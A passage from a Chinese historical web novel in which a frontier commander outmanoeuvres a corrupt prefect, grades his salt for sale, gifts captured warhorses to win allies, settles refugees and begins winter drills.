那崔胜如同被鼓舞,越说越兴奋,“还有他那军寨,听说近来招兵买马,发展得飞快?咱们正好借着幽州转运司整顿’的由头,延迟发粮饷……”
“这个…容后再商议。”崔文远打了个哆嗦,抬手制止。因为他想到刘德福就是因为粮食物资而殒命,把这些大头兵惹急了,真敢亮刀子。
“胜儿,你远在京城,对这幽州边陲的局势尚不太清楚。你记住,可以暗中使绊子,但绝不能撕破脸皮。”崔文远不放心,严肃地叮嘱侄子。
“知道了,知道了,我有分寸。”崔胜养尊处优惯了,听到被长辈训斥,不耐烦地挥挥手。
崔文远捋了捋三馏长髯:“嗯,得尽快派些自己人过去任职,明着是帮他,暗地里掣肘他钱粮、练兵、调度,让他处处受限,寸步难行!”
烛火下,叔侄二人的笑容越发阴狠,而黑衣死侍依旧面无表情,仿佛融入了阴影之中。
三人你一言我一语,一条条毒计在寒风呼啸的深夜悄然成型,如同一把把淬了毒的**,正无声无息地刺向数百里之外的铁血军寨。
……
“这个崔文远,这个坏鸟缺德是作尽,丧尽天良……”
铁血军寨,官署内灯火通明,与崔府书房的阴森形成鲜明对比。
幕僚赵开明情绪激动,谈及幽州刺史崔文远时,横眉瞪眼,咬牙咒骂。平日斯文模样荡然无存。
秦猛端坐主位,平静地呷着热茶,似在听无关之事,唯有眼底偶尔掠过的寒芒显露出他在关注。
一刻钟前,他刚与飞虎卫赵起将军商议完清理幽州毒瘤、巩固防务,亲自带队将其送出附寨。
夜色渐深,寒风未停,秦猛送走赵起后未休息,即刻请来幕僚赵开明——他深知,与盘踞幽州多年的崔文远的较量才刚起步,必须未雨绸缪。
赵开明一进门,秦猛便直问应对幽州官场刁难之策,可一提崔文远,这位沉稳的幕僚顿时脸色骤变,想到被追杀多日,情绪近乎失控。
“大人,您有所不知!”赵开明的语速极快,“这姓崔的乃是京城崔家人,朝堂中根基深厚。
前段时间转道来的朝廷钦差也姓崔,摆明是一家人!他心机深沉、野心极大,私下竟自称‘幽州王’,之前的刘德福不过是他随时可
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弃的棋子!”
喘了口气,他接着说:“听说他把亲侄子崔胜调来幽州历练,一来就任五品要职,可见掌控欲之强。
如今别驾杨烁、治中孙强等州府要员,几乎都是他的爪牙,幽州官场快成崔家一言堂了!”
一番痛斥后,赵开明情绪渐平,眼神里的恨意却更浓。他深吸一口气,开始为秦猛分析局势。
“将军,您手握强兵猛将,骁勇善战,连败鞑虏,杀敌近万,已立威名,崔扒皮明着不敢动刀兵,暗地里使绊子、下阴招却是惯用伎俩!”
“哦?先生觉得他会用什么法子?”秦猛摸了摸下巴上渐渐茂密的胡茬,身体前倾认真询问。
——他虽有考量,但深知赵开明更懂崔文远的套路。
赵开明思路清晰:“崔文远在幽州经营二十多年,眼线遍布各地,您用俘虏换回来的六千匹战马、上万头牛羊的事,绝对瞒不过他。
这笔财富太扎眼,他们得不到,也不会坐视让您独自吞下壮大,我敢断定,他会借此做文章!”
他手指轻敲桌面:“比如散播谣言,说您缴获丰厚却隐匿不报、拥兵自重;再让朝中之人煽风点火,逼帅司、兵部发文要您上交战利品。到时候交与不交都是麻烦,处理不好就是灭顶之灾!”
“先生所言与我不谋而合。”秦猛点头,语气沉稳,“我早想过,巨额好处独自难吞,所以把大半马匹、肥羊交给赵将军处置,甩掉麻烦。只剩小半好马及一千头耕牛留着用于军屯开荒。”
“大人这步棋走得极对!”赵开明面露赞许,“及时分润化解了最大风险,但还不够。得放长远眼光,需再拿出部分好处联合更多实权人物,织一张大关系网,让崔文远投鼠忌器。”
“先生是指黑虎卫和白虎卫?”秦猛瞬间领悟。
“正是!”赵开明笑着点头,“黑虎、白虎二卫与飞虎卫同属边军精锐,若能交好、互为奥援,崔文远再搞小动作,在幽州,基本徒劳无功。”
“此事,我已有想法。”秦猛随即说出计划:择机送良马、邀两卫军官观摩交流、处好关系。
赵开明认真倾听,不时补充细节,完善合纵连横之策。
议完防御事宜,秦猛眼中精光一闪:“先生,我们不能总被动接招,得主动出击。我想搜集幽州官僚的不法证据,您有良策吗?”
赵开明露出带恨又狡黠的笑:“大人有此雄心,我必尽力!这些人屁股都不干净,派人暗查定能抓把柄!”
他压低声音凑近:“比如崔文远的侄子崔胜,在京城骄横惯了,到幽州怎会安分?大概率寻欢作乐、横行霸道,甚至插手见不得光的生意。
这就是撬动崔文远的突破口,您派机灵可靠的人盯着他,只要他一露马脚,然后再这样……”
烛光下,秦猛与赵开明相视一笑,一个沉稳果决,一个老谋深算,悄然对幽州官僚展开反击!
第237章 夜商秘事
夜色更深,军寨在寒风中寂静下来,只有巡逻队整齐的脚步声偶尔划过夜空。
赵开明告辞离去后,秦猛略作思索,对亲卫吩咐道:“去请常九先生过来一趟,就说我有要事相商。”
常九,是幽州常氏商行的东家,乃是秦猛起于微末之时,于南河城寨便结识的重要合作伙伴。
当秦猛还只是个小小管队官时,常九便以其商人的敏锐嗅觉,冒着风险向当时规模甚小的戍堡输送了大量粮食、铁料、棉花等紧要物资。
可说是雪中送炭,极大地支撑了军寨初期的生存与发展。
待到军寨站稳脚跟后出产了“北方烈”酒和顶级好盐“雪花盐”后,双方更是达成了深度合作。常**借其遍布北地的销售网络,将这两样紧俏货销往四方,为军寨带来了滚滚财源。
秦猛大婚前两天就赶来,并未离去。
不多时,门外传来沉重的脚步声和略带喘息的寒暄声。
帘栊挑起,一个裹着厚厚貂皮大氅、活像一座移动肉山的身影,携着一股寒气挪了进来,正是常九。
他一张胖脸被冻得通红,却堆满了热情的笑容:“秦将军,这深更半夜的,唤老哥我来,定是有好事关照?”
“常老哥快请坐,深夜相扰,实在是有笔买卖要劳烦你。”
秦猛笑着迎上前,示意**搬来一张结实的槐木椅。
寒暄几句后,他直接切入正题,指着堂下早已准备好的几只大木箱,“请你来,是想看看这些东西,希望老哥你能帮忙脱手变卖。”
说罢,他一挥手,**和牛五等人上前,利落地将箱盖一一打开。
刹那间,烛火照耀下,一片珠光宝气迸射而出!
只见箱内分门别类,盛满了各式各样的金银器皿和首饰:
有雕工精细的镶嵌宝石金壶银盏,有沉甸甸的赤金项圈和手镯,还有不少做工极为精巧的耳坠、戒指、发钗等物,材质极佳,做工精细。
这些,正是此次大败**后,从缴获的战利品中精心挑选出的、品相最好、最具价值的一部分。
“哟!好东西啊!”常九那双被肥肉挤得略显细小的眼睛,瞬间爆发出惊人的光芒。
他也顾不得体胖行动不便,几乎是“挪”到了箱子旁,伸出胖乎乎、戴着硕大玉扳指的手指,拈起一枚镶嵌着硕大绿松石的金戒指,凑到烛光下端详。
他口中啧啧称赞:“瞧瞧这做工,这成色,绝非普通**贵族所用,怕是部落首领或是萨满的心爱之物!”
“秦老弟,幸好你没把这些好东西直接熔了换金银,那才叫暴殄天物!这些东西,只要寻对路子,转手卖出,价格至少能翻上几番!”
秦猛见他识货,心中暗喜,笑呵呵地说:“老哥好眼力。这些是近来打胜仗,积攒下的精品,旁人我信不过,只交给老哥你来处置。”
“至于最后成交价,你我八二分账,你看如何?”
常九闻言,却把胖脸一板,故作严肃地连连摆手:“哎呦喂,我的秦老弟,您这就见外了!
咱们是什么交情?帮您处理这点东西,老哥我分文不取!能为您效劳,那是我常九的荣幸!”
秦猛知他这是场面话,也是表忠心的姿态,正待再说,常九却搓着胖手,胖脸上露出一丝恰到好处的扭捏:“这个……分成真不必。
只是……老哥我有个不情之请,或者说这盐买卖有个小小的瑕疵吧,想跟老弟你念叨念叨。”
“老哥但说无妨。”
“就是关于那雪花盐的买卖。”常九压低了声音,“老弟你供给我的三种‘雪花盐’,除了包装不同,价钱分了三等,可里头的盐,实打实都是一样好的货色。”
“这短时间内还好,日子长了,难免有精明的主顾会发现端倪,到时候……恐怕会影响信誉,也平白惹人眼红啊。”
秦猛一听,恍然大悟,一拍自己额头:“哎呀!瞧我这脑子,只顾着产出,却忘了这层关窍!多亏老哥提醒!此事确是我考虑不周。”
常九见秦猛从善如流,胖脸上露出他那惯有的、带着几分狡黠的笑容,显然是有备而来:
“老弟不必自责,做生意嘛,总是要不断完善。老哥我倒是想了两个馊主意,你听听看是否可行?”
“老哥快讲!”
“这中品的雪花盐,”常九眯着眼,“咱们可以往里头掺和极少量的、颜色相近的红糖粉,不必影响味道,但让人一看,就觉得这盐微微泛黄,不如上品的雪白,这价钱差别不就显得合理了?”
“至于下等的,更好办,咱不卖细盐,就做成极硬的板结盐块,吃的时候让买家自己费劲去敲碎、研磨,这品相自然就下来了,谁也说不出的不是来。”
秦猛听完,忍不住抚掌大笑,朝着常九竖起大拇指:“高,实在是高!老哥不愧是经商奇才,此计大妙!”
“就按老哥说的办,我回头就吩咐工匠调整工艺,严格执行。绝对保证这三等盐看起来有天壤之别,绝不会让这雪花盐的买卖出半点纰漏!”<
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br>解决了这个心头隐患,常九心情大畅,脸上的笑容更盛。
秦猛趁热打铁,又正色道:“老哥,除了这批珠宝和雪花盐的事,我还有两件要紧事,需借重你的渠道。”
“老弟尽管吩咐!”
“这第一件,我军寨需要硫磺和硝土,数量越大越好。此物关乎防务根基,希望老哥能借助商队,从各地悄悄采购,秘密运来,价钱好商量。”
“硫磺硝土?”常九小眼睛闪了闪,他是聪明人,隐约猜到这东西可能与军寨正在秘密研发的某种厉害火器有关。
但他深知什么该问什么不该问,立刻拍着肥厚的胸脯保证:“没问题!这事儿在老哥身上。南边些的州县对此物管制不严,我定能设法搞来!”
“好!第二件,希望老哥能帮忙留意收购几种擅长长途飞行的鹁鸽(信鸽),最好是能认巢、抗病能力强的优良品种,我另有大用。”
“鹁鸽?这个更简单了!不少大户人家都养着玩,我派人去搜罗些好的种鸽来!”常九想也不想,一口答应。
对他来说,这些都是扩大与军寨紧密联系的契机,求之不得。
又商议了些细节,常九这才心满意足地告辞,带着那几箱珍宝和新的合作计划,满怀憧憬地挪出了官署,庞大的身影消失在茫茫雪夜之中。
秦猛送走常九后,抬头望着漫天飞雪和昏沉沉的夜空,心中对未来的布局又清晰了几分。
财富、物资、信息渠道,都在一步步夯实,这乱世求存、图强的根基,正一点点变得坚固。
他必须发挥自己穿越者的身份,来保持各种优势。
秦猛招呼一声,率领亲兵队踏着积雪返回官署,帐外的风雪再凛冽,也挡不住他回家的暖意。
推开房门,屋内烛火温柔,新婚妻子陈月娘坐在桌边看书,依旧是等他归来,听到开门声,立刻起身迎上,眼中满是关切,给他卸甲。
秦猛握住她温热的手,连日来的疲惫与肃杀,在这一刻尽数消融,又是横抱起女人去里屋。
这一夜,痴男怨女的动静依旧不小,红烛高燃,帐幔轻摇,嘎吱嘎吱声响,满室皆是温情。
隔壁房间,林婉儿却又是被这动静搅得辗转难眠,她将自己紧紧裹在被子里,脸颊烫得惊人。隔壁的靡靡之音如魔音灌脑,挥之不去。
想找人说个话吧,偏偏身边的丫鬟小蛮睡得深沉,推搡也醒不来,让她更是又羞又恼,听着隔壁的房中之事儿,恨不得找个地缝钻进去……
第238章 探营,好马动人心
天刚蒙蒙亮,军寨内的号角便已吹响,打破了寒夜的寂静。
秦猛早已起身,褪去了昨夜的温情,换上了劲装铁甲,眼神锐利如鹰,戴上毡帽手套出门。
他昨天就已经下了命令,积雪被清扫干净的校场上,秦大壮,李山,刘铁柱,鲁真等将齐聚。
大雪纷飞,寒风如刀,却挡不住将士们眼中的锐气。
“从今日起,全军进入冬季练兵期!”秦猛站在高台之上,声音洪亮,穿透风雪,“袁飞、徐强出列。”
“末将在!”两道身影应声而出,正是昨日刚划归秦猛麾下的袁飞与徐强,连夜入驻军寨。
二人皆是军中有名的刺头儿,是久经沙场的猛士,此刻虽是入新营,却身姿挺拔,气势不减。
袁飞,徐强两人被调过来,只有秦大壮在场。秦猛有必要当众说明,避免众将士胡思乱想。何况,他已经想到方法,消除潜在弊端。
他扫视李山,刘铁柱,常勇等将领,实话实说:“诸位,因咱下手太狠,明年**席卷再来。必须抓紧时间训练新兵,形成战斗力。
从今天起,袁,徐两位部将带领三百精锐调入我军中。协助各队训练战阵,骑术,箭术等。你们彼此是熟识,望互帮互助,携手并进。”
“那是自然,欢迎两位兄弟。”众人热情地打招呼。
“袁飞,徐强,军寨特设立教导队,你二人为正副总教官。依旧率领本部,散而以小队抽调。日夜操练全体将士箭术、骑术与冲锋之术!”
秦猛目光扫过二人,“我要军寨军民人人会骑马射箭,骑兵开春后能成为刺破**阵型的利刃!”
“末将领命!”袁飞与徐强满脸兴奋,抱拳领命。
秦猛随即看向其余将领:“各队分为三拨,一拨负责轮番巡逻边境,加强警戒,备战不怠。
一拨入学堂识字,识文断字逐步纳入军队考核范围内。想要晋升队将及以上职位,就得看懂战报。
另一拨在各营校场练兵,寒冬正是磨砺筋骨的时候,枪法、刀法、阵法,一日都不能懈怠!mingnian开春大比取得好名次,重重有赏。”
“遵命!”众将领齐声应和,声音震得地上积雪簌簌掉落。
秦猛目送众将领各自返回,准备冬季大训练。**飞奔而来,龇牙咧嘴地汇报情况。
“大人,黑虎卫,白虎卫两位偏将,果然已带人乱逛。”
……
今天清晨,天光刚破晓,寒霜还凝结在枯草之上,黑虎卫偏将侯永与白虎卫偏将陈雷便已集结好亲随,看似随意地在附近“巡视”起来。
他们此行,名为观摩学习新晋崛起的铁血军寨防务,实则醉翁之意,除了昨晚席间敲定的**,大批北地好马更是让他们心痒难耐。
这两位都是戎马半生、从尸山血海里爬出来的老行伍,嗅觉敏锐得如同草原上的饿狼。
昨抵达时天色已晚,风雪又大,许多细节掩盖在暮色下,但一些不寻常的迹象已落入眼中。
今日天色微明,他们便迫不及待地想要印证心中的猜测。
他们先是“无意间”溜达到相隔不远的飞虎卫临时驻地。
只是粗略几眼,侯永和陈雷的眼皮就忍不住跳了几下。
那临时扩建的马厩里,拴着的战马清一色是高背长腿的草原良驹,**色油亮,体型矫健。这类马厩群军营有多处,数量少说两三千。
即便是虎贲军主力,想凑齐如此多、品相如此整齐的草原战马也非易事。
赵平和周扬早已得了消息,见他们来,也不阻拦,只是抱拳见礼。
侯永指着马厩,啧啧称奇:“赵老弟,周老弟,你们飞虎卫这次可是肥得流油啊!这些好马,怕是能把帅司牧监的马官眼睛都看直喽!”
赵平哈哈一笑,语气带着几分与有荣焉,却也滴水不漏:“侯将军好眼力!这都是秦兄弟指挥有方,拼死搏杀,从**手里抢来的。”
“不过,这里头大半都是要登记造册,上缴帅司,由吴大帅统一调配的。”
“咱们啊,也就是暂时替大帅养着。”
陈雷摸着下巴,目光在马群中逡巡,语气听不出喜怒:“哦?打了胜仗,上缴帅司是正理。”
“只是不知,秦知寨那还能留下几成?”
他这话问得直接,满脸似笑非笑地看向赵平。
周扬接过话头,苦笑道:“陈将军说笑了,几场恶仗下来,缴获虽有些,但伤亡抚恤、战马、军械损耗、募兵训练等,哪一样不要钱?”
“真正能落到自家手里的,也是有限。”
“何况,战利品是三个营的兄弟一起流血换来,并非秦知寨独享,他寨子里有好马但也不多。”
“赵将军说了,咱同属虎贲军,两位将军要真想购买马匹,就去找秦兄弟商议,购买或交换。”
“没错,秦兄弟人品信得过。”赵平也在边上附和。
侯永和陈雷交换了一个眼神,心中已然明了。
从赵平、周扬这里,显然是捞不到太多实质性的好处了。赵起将军的本事和脾气,他们多少了解一二,想从他碗里硬抢肉,难如登天。
但那军中新秀——秦猛,以及他那个看似富得流油的铁血军寨,只要诚意购就能有所收获。
于是,二人不再逗留,寒暄几句后,周扬自发领路,带着人径直朝着铁血军寨本体而来。
守寨军卒认得作陪的周扬,并未阻拦。
一进寨门,即便是侯永、陈雷这等见惯了边塞军镇景象的老将,也不由得微微吸了口气。
军寨规模已然不小,人流如织,虽显嘈杂却秩序井然。
扩建的营房、忙碌的工匠区、附寨还有一个颇具规模的临时集市,喧嚣热闹,显示着勃勃生机。
但这些,都未能真正吸引侯永、陈雷的
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目光。
他们的视线,如同被磁石吸引一般,牢牢钉在了附寨内,多处临时圈起的牲口棚栏上。
尽管秦猛早已连夜将大部分缴获的牛羊马匹分流隐匿,或送入飞虎卫驻地,或分散到军户家中。
但几场大战如夜袭女真马场,到交换俘虏,累积下来的牲口数量太多,短时间内无法完全“消化”。
只见几个大型围栏里,牛羊成群,嘶鸣哞叫声此起彼伏;临时搭建的马厩更是挤得满满当当。
那些缴获和交换俘虏得来的战马,**色混杂,但数量惊人。
光是负责喂养草料、清理粪便的辅兵和招募来的流民,就组成了两百多人的队伍,忙碌穿梭其间。
“我滴个乖乖……”侯永看得眼睛发直,忍不住喃喃道:“这**哪里是个军寨,简直是个大牧场!”
“**,真开了眼界!老子在黑虎卫待了十几年,也没见过哪个寨子一次性圈着这么多活牲口。”
陈雷虽然沉稳些,但盯着拥挤不堪的马厩,喉结也不自觉地滚动了一下,眼中闪过一丝炽热。
他压低声音对侯永道:“老侯,看来传闻不虚,连战连捷,缴获无数,这秦小子真发了大财!”
“光是眼前这些,就抵得上咱三两个营战马总和。”
正说着,秦猛闻讯赶来,身后跟着**等几名将领。
他脸上带着恰到好处的惊讶和热情,拱手行礼:“哎呀呀,侯将军,陈将军,二位怎的起得这么早?可是寨中招待不周,歇息得不好?”
其实,秦猛早就猜透两人的来意——为了战马。而他比谁都清楚‘枪打出头鸟’这个道理。
近来,他功劳太大,财富太多,已招人忌惮,得早做准备。需要盟友,也需要“散财”消灾。
把七成的战马和肥羊上缴飞虎大营是个法子。
而眼下也算是个机会——
果然,侯永这个急性子,也懒得再绕圈子,一把拉住秦猛的手臂,指着那片“牲口群”,直言不讳地道:“秦老弟,咱们明人不说暗话!”
“我和老陈来访,一来取经,二来就是为了买些马匹。你这些宝贝疙瘩,可真是馋死哥哥我了!”
“如今边关吃紧,战马稀缺,朝廷调拨迟迟不到,哥哥我营里好多弟兄还骑着滇马、驮马凑数呢!”
“你开个价,匀一些好马给哥哥如何?绝不让你吃亏!”
陈雷也腆着笑脸上前,语气诚恳地补充:“秦知寨,你应该知道,我白虎卫,黑虎卫的情况。”
“只要兄弟能割爱卖些马匹,我们不仅按市价购买,还可额外补偿你一批猛火油和上好的铁料。你这儿在大力扩军,这些可都是紧俏物资。”
他大包大揽,直接抛出了秦猛当前最需要的筹码。
秦猛心中暗笑,脸上却露出为难之色,目光扫过那成群的马匹,沉吟不语,似乎在计较得失。
第239章 结同盟,韩勇归
半晌,秦猛沉默不语。
侯永以为他舍不得,急忙表态:“秦老弟,你放心,价格好商量,老哥我绝不占你便宜!”
“没错。”陈雷也目光灼灼地看着他。
秦猛叹了口气,仿佛下定了决心,开口道:“二位老哥既然开口了,又是为了增强我军边防实力,小弟若再推辞,就显得不识大体了。”
他心中冷笑“把表面功夫做足,看谁跳出来考试”,面上却露出恰到好处的忧虑和真诚。
“陈将军所言极是!小弟也正是忧心于咱虎贲军。不瞒二位,昨夜宴后,小弟辗转反侧,思虑再三。
这些牛羊马匹于我军寨是福,更是祸!唯有将其转化为实实在在的边防实力,方能对得起战死的兄弟,对得起朝廷和吴大帅的信任!”
他顺势抛出了早已准备好的方案,但内容远比“低价售马”更惊人:“二位将军乃我军中栋梁,防线支柱。
为增强我虎贲军整体实力,小弟愿每个卫支援五百匹上等战马!”
“支援?”侯永和陈雷几乎不敢相信自己的耳朵。
周扬也有点傻眼了,秦猛这小子何时这么大方?
“不错,分文不取!”秦猛语出惊人,但随即话锋一转,“不过,小弟也有两个不情之请。
第一,希望两位老哥以私人名义,能与我铁血军寨缔结攻守同盟,一方有难,两方支援,情报互通,物资互济,有人作怪,一起怼他。
第二,小弟扩军在即,急需猛火油、铁料、工匠等,希望二位将军能利用驻地靠近并州之便,有这渠道,优先并以优惠价格供应于我。
这些马匹,便是定金和诚意!”
这一手是秦猛昨夜想到的,堪称神来之笔。将单纯的交易,提升到了**和战略同盟的高度。
不仅巧妙化解了“怀璧其罪”的风险,而且将没有交情的同袍变成了盟友,更以此为筹码,为自己换来了最急需的战略资源和安全保障。
有时候,哪怕是声援几句也至关重要!至于那千匹马,不再是商品,而是捆绑利益的绳索。
“这年轻的知寨官绝非池中之物!”
侯永和陈雷愣住了,他们没想到秦猛竟有如此魄力和心机。
这“糖衣炮弹”实在太诱人,容不得他们拒绝。而那炮弹里的“**”(责任与捆绑)也显而易见。
但权衡利弊,与一个潜力巨大、出手阔绰的新兴军寨结盟,相互抗击鞑虏,利远大于弊。
短暂的沉默和眼神交流后,侯永猛地一拍大腿:“好!秦老弟快人快语,仗义。这个兄弟,我黑虎卫认了!咱们以后要多多走动才是。”
陈雷也缓缓点头,露出真诚许多的笑容:“秦老弟深谋远虑,陈某佩服。攻守同盟,理所应当。猛火油,铁料之事,包在老哥身上!”
“啪”的一声脆响,三方击掌为誓,气氛变得热切。
“只是……五百匹马,能不能再多点?”
侯永目光看向成群的战马,踌躇片刻,试着再次争取。
沉默不言的周扬实在看不下去了,忍不住说道:“两位将军,这不少了,秦老弟还得组建骑兵,明年得应对**报复,得留下马匹备用。”
“周大哥说的是。”秦猛肉痛的点头,苦笑道:“侯老哥,真不是小弟吝啬,实在是形势逼人。”
“您想,几场大战,缴获的马匹虽有三四千,可战死的、伤残的也有两千多,通通送入屠宰坊。”
“这些可都是草原好马哇!小弟心都在滴血。可不对**狠点儿,死的,就是自家兄弟啊!”
他先诉了一番苦,接着道:“后来换俘虏得了五千多匹,可赵将军调走了三千匹,小弟就剩下两千匹。
加上之前零零散散的缴获,满打满算,再去掉要留作种马和替换伤病的,兵卒配合与训练,能挤出千多匹好马给两位,已经是极限了。”
他这番账算得合情合理,侯永和陈雷心里略一盘算,也知道秦猛确实拿不出多少马来,便不再强求。其实心里为这一趟不虚此行而高兴。
秦猛察觉到侯,陈二人的神色变化。他心里已经猜到个七七八八,嘴角突然勾起一抹弧度。
哼,得了马匹,岂能就这样罢了?
不让你们欠下人情,帮忙真做点事,俺就不姓秦。
他指着圈中羊群,大方地表示:“这样吧,除了战马外,小弟再给两卫送上三百只肥羊,给兄弟们过年添道硬菜,也算小弟一点心意!”
这一下,周扬略微有些诧异,未想过秦猛有此举,随即苦笑心里赞叹,果然是不拘小节之人。
侯永和陈雷更是喜笑颜开,态度变得越发热络。如果说之前是买到马匹,对秦猛的感谢。此刻,两位爬到如今位置的偏将心里叫了声好。
侯永连声道谢,直夸秦猛年少英雄,做事敞亮。陈雷更是拍胸脯,以后但有差遣,绝无二话。
秦猛也顺势提出军寨新立,缺钱缺粮,更缺熟练工匠和流民充实人口,希望他们能帮忙留意,代为招揽。
侯、陈二人心里正美滋滋呢,自然是满口答应。
当下,双方各取所需,皆大欢喜。
侯永、陈雷也不想被人说闲话,当众表示回去后就招收流民,猛火油,铁料的物资何时送来。
秦猛也雷厉风行,命令手下军吏清点马匹,当场交割。
一时间,附寨内人喧马嘶,热闹非凡。
侯永、陈雷心满意足,与秦猛作别,带着第一批战马和肥羊,志得意满地返回各自驻地去了。
战马交易带来的喧嚣还未完全平息。
下午时分,一骑快马自幽州方向疾驰而入,带来了韩勇等人的消息——他们奉命前往幽州采买年货并招揽流民、工匠,已安全返回。
距军寨不足十里。
秦猛闻讯,精神一振,立刻命令王善、**兄弟点齐一队精锐士卒,前往接应。
同时,他下令让诸葛风、李恒等人提前准备安置流民,并让后勤营开始清理库房,接收物资。
半个时辰后,一支浩浩荡荡的队伍终于抵达军寨。
刘冲率领一队军卒和招募来的青壮在前开路。中间是刘三负责押送的庞大车队,两百余辆牛马大车排成长龙,车上堆满了麻袋与箱笼。
这是花钱买来的粮食、布匹、姜糖,过年用的香烛纸钱、甚至还有少量的糖果蜜饯,琳琅满目,引得寨墙上守望的士卒们都引
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颈张望。
韩勇骑在马上,亲自断后,手持**,身形依旧挺拔,但眉宇间带着一丝长途跋涉的疲惫。
而最引人注目的,并非是这些物资,而是跟随在车队两旁和后方的人群。
黑压压的一片,怕是有千余人之众!
这些人半数是衣衫褴褛的流民,携家带口,推着独轮车,挑着行李,眼神中充满了对未来的迷茫。看到巍峨的军寨后,又多了些期盼。
他们是韩勇此行从幽州城**的流民,其余半数是招揽来的青壮及家眷,或花重金请来的十几名赤脚大夫,几十名各类工匠及其学徒。
这些都是军寨急需的技术人才。
整个队伍汇合后,声势更加浩大,缓缓驶入军寨。
早已得到消息的军寨军民,纷纷涌到道路两旁观看,指指点点,议论纷纷,脸上洋溢着好奇与喜悦。
寨子里顿时人声鼎沸,充满了年节前特有的热闹气氛。
秦猛亲自在寨门口迎接韩勇,用力拍了拍他的肩膀:“辛苦了,韩大哥,一路平安就好!”
韩勇咧嘴一笑,露出白牙:“托大人洪福,这一趟幸不辱命!东西和人,都带回来了!”
接下来,便是繁琐而高效的安置工作。
诸葛风、李恒带着文书小吏,为新来的流民登记造册,按户分配临时住所,发放初步的口粮。
那些招募来的工匠和大夫,则被单独安排,领他们熟悉军寨,给予稍好的待遇,以示重视。
整个流程在诸葛风,李恒的协调下,有条不紊,展现了军寨日益成熟的管理能力。
待人员初步安顿,物资清点入库完毕,秦猛看着下方熙熙攘攘的人群,心中涌起一股豪情。
他大手一挥,朗声宣布:“诸位将士!诸位乡亲!年关将至,韩兄弟不辞辛劳,顶着风雪,从幽州城为大家采买了年货!”
“今日,见者有份,按营按队,依次领取份例,让咱们铁血军寨上下,发粮发肉,过个肥年!”
命令一下,整个军寨顿时沸腾起来!
各队队正、火长按照名册,组织本队人员,以小组长带头列队,有序前往指定地点领取年货。
粮食、布匹、少量的肉食和油盐,虽然分量有限,但对于这些常年与艰苦为伴的边军和刚刚脱离流离失所的百姓来说,已是天大的恩赐。
尤其是那些新来的流民,捧着沉甸甸的口粮,许多人都激动得热泪盈眶,或呜呜的哭泣起来,那是在寒冬中看到了一丝温暖的曙光。
部分不易分发或需储备的物资,则被妥善收入库房。
秦猛已指示诸葛风,年后可逐步将这些物资投入临时集市,或用以交换民间特产,或平价售卖给军民,以期逐渐形成一个榷场的雏形。
午时,军寨各处飘起了久违的炊烟,弥漫着食物的香气。欢声笑语冲淡了往日的肃杀氛围。
秦猛看着这人气鼎沸的景象,知道军寨的根基正在一点点被打牢,而明年风暴必将更加猛烈。
他需要利用这个冬天,让铁血军寨变得更加强大。
午后,十几匹快马飞奔出了寨子。分别前往双涡堡、巡检司驻地、白松岭矿洞传达秦猛的军令!
第240章 冬季大训练
第二日,天蒙蒙亮。
肆虐了一夜的风雪未见停歇,天地间仍是白茫茫一片。
黑虎卫偏将侯永与白虎卫偏将陈雷,早已收拾停当,麾下亲兵驱赶着满载牛羊的队伍,准备踏上归程。
两人换乘了秦猛赠送的北地良驹,鞍鞯鲜明,更显精神抖擞。
秦猛亲自相送,不仅备足了先前说好的物资,更以“年节将至,与友军同乐”为由,额外加赠了十坛烈酒“北风烈”与数包精细的“雪花盐”。
此乃算计,亦是阳谋,带回各自的驻地防区,这无形中免费宣传,为秦猛铺开了未来的商路。
侯永与陈雷心知肚明却依旧喜笑颜开,连声道谢。
他们多少知道些这酒盐的妙处,带回各自驻地,必受同僚追捧,与秦猛搭上线,乃求之不得。
与此同时,赵起将军承诺抽调的百余名基层军官也已抵达铁血军寨。
这些人虽非顶尖好手,却都是经验丰富的老行伍。
秦猛二话不说,直接将他们全部投入新兵训练营,让他们先切身感受一下铁血军寨迥异于别处的训练节奏与强度。
寒风呼号,雪片如席,覆盖着苍茫北疆。
铁血军寨内,一切却井然有序。
民兵大小队长接到命令,所有壮劳力均被有效组织起来,依照正规军“三三制”编队轮换。
一部分随陷阵营、卫戍营进行严格的军事操练。
一部分进入铁匠坊,木工坊等各类作坊协助生产。
另一部分则负责清扫军寨内外,军营周边及几条关键通道的积雪,确保交通无阻,应对有序。
有赵起将军这尊“大神”亲自坐镇前沿边陲,军寨军民心气更足。
亲卫营、雷霆营、狂风营,外加磐石营和铁血军寨两个新营,总兵力接近八千,军容鼎盛。
即便此刻**冒险踏冰过河来袭,众人也有信心让其有来无回!
边塞暂得安稳,热血军寨正式进入冬季大练兵。
偌大的校场,天未放亮便已热火朝天。
弓箭手在呼啸寒风中凝神静气,箭矢离弦,笃笃地钉入箭靶;
步兵们组成严整方阵,喊着号子,踏着积雪,反复演练推进、防御;
寨外空旷之地,骑兵队纵横驰骋,马蹄翻飞,溅起漫天雪雾。
袁飞与徐强等将领亲身示范,教导骑士们如何在雪滑之地控马保持平衡,如何借助马力发起致命冲锋。
步兵营的将士们手持**大刀,赤裸着上身或只着单衣,在冰冷空气中反复操练刺杀、劈砍,汗气蒸腾,却无一人面露怯懦抱怨辛苦。
与此同时,秦猛冬季训练的命令已经传达至各处。
双涡堡的校场上,寒风卷着雪沫扑打在人脸上,如同刀割。
军事主官张富贵身披厚重的铁甲,像一尊铁塔般矗立在点将台上。他瞪着铜铃般的眼睛,扫过台下被军寨送来、还有些忐忑的三百多新兵,以及他自己历经多场战斗的老部下。
“都听好了!”张富贵的声音粗粝洪亮,压过了风声,“到了老子的地盘,就别想着偷奸耍滑。
骑兵是啥?是对战**的主力,是战场上最快的刀!但你这把刀不快、不准,那就是送死!”
他根本不屑于搞什么循序渐进的花架子,训练计划一到手,直接进入了最核心的环节。
“第一阶段,练的就是马下体能,马上冲锋、**、射箭!别跟老子说不会!练到会为止!”
张富贵大手一挥,“看见那些冻结实的雪桩子、雪人没?就绕过去,当它们是**的脑袋。
给老子冲过去,砍了!**手,把那些如脑袋般的雪球给老子狠射,掉一个,全队今晚没肉吃!”
训练一开始,场面有些混乱,新兵控马不稳,老兵急于求成。张富贵骂过后,也不废话,直接跳下点将台,夺过一匹战马,亲自示范。
只见他伏低身子,战马如离弦之箭冲出,手中马刀划出一道寒光,精准地将一个草人“头颅”斩飞,紧接着顺势摘弓,回身一箭,百步外晃动的葫芦应声而碎。
“看见没?就这么干!”他勒住马,喘着白气吼道,“在双涡堡,是骡子是马,拉出来遛遛!练不好的,别说自己是骑兵,更别说是我张富贵的兵!”
在他的高压和亲身激励下,在副官林军的协助下,整个校场迅速被一种近乎实战的狂热氛围笼罩。
